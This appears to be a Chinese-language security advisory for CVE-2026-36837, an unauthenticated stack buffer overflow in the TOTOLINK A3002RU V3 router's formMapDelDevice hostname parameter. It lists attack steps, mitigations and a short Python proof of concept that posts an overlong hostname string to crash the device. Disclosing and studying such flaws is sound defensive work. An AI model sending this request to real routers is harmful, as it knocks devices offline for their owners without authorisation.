IPBUF安全漏洞报告
English
CVE-2026-36837 CVSS 7.5 高危

CVE-2026-36837 TOTOLINK A3002RU栈缓冲区溢出漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-36837
漏洞类型
栈缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TOTOLINK A3002RU V3

相关标签

栈溢出缓冲区溢出TOTOLINK路由器DoSRCE

漏洞概述

TOTOLINK A3002RU V3路由器在固件版本V3.0.0-B20220304.1804及之前版本中存在安全漏洞。该漏洞位于`formMapDelDevice`函数中,由于对`hostname`参数缺乏严格的边界检查,导致栈缓冲区溢出。攻击者无需用户交互即可通过网络利用此漏洞,可能导致设备拒绝服务或潜在的代码执行。

技术细节

漏洞核心在于TOTOLINK A3002RU V3设备固件中`formMapDelDevice`函数对`hostname`参数的处理逻辑存在缺陷。该函数使用不安全的内存拷贝操作,将用户可控的输入直接写入栈上的固定长度缓冲区。由于未对输入长度进行校验,当传入超长字符串时,数据将溢出缓冲区边界,覆盖栈帧中的关键寄存器或返回地址。攻击者可以通过网络向受影响设备发送特制的恶意HTTP POST请求,无需任何认证即可触发溢出。根据CVSS评分,该漏洞主要影响可用性(A:H),但在特定条件下,攻击者可能控制指令指针,导致拒绝服务或潜在的远程代码执行。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行TOTOLINK A3002RU V3固件且版本低于V3.0.0-B20220304.1804的设备。
STEP 2
2. 构造载荷
攻击者编写Python脚本,生成包含超长字符串的恶意数据包,针对`formMapDelDevice`函数的`hostname`参数。
STEP 3
3. 发送攻击请求
攻击者直接向目标设备的管理接口发送特制的HTTP POST请求,无需经过身份验证。
STEP 4
4. 触发溢出
设备处理请求时,`hostname`参数导致栈缓冲区溢出,覆盖返回地址,引发设备崩溃或异常执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://<TARGET_IP>/boafrm/formMapDelDevice" # Malicious payload to trigger stack overflow # Adjust payload size based on specific buffer analysis payload = { "hostname": "A" * 1000 # Example long string } try: # Send POST request without authentication response = requests.post(target_url, data=payload, timeout=5) print(f"Request sent with status code: {response.status_code}") # Check if device is responsive (DoS check) except Exception as e: print(f"An error occurred: {e}")

影响范围

TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804

防御指南

临时缓解措施
如果无法立即升级固件,建议将路由器管理界面置于防火墙之后,禁止从互联网直接访问,或在内网中禁用远程管理功能,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表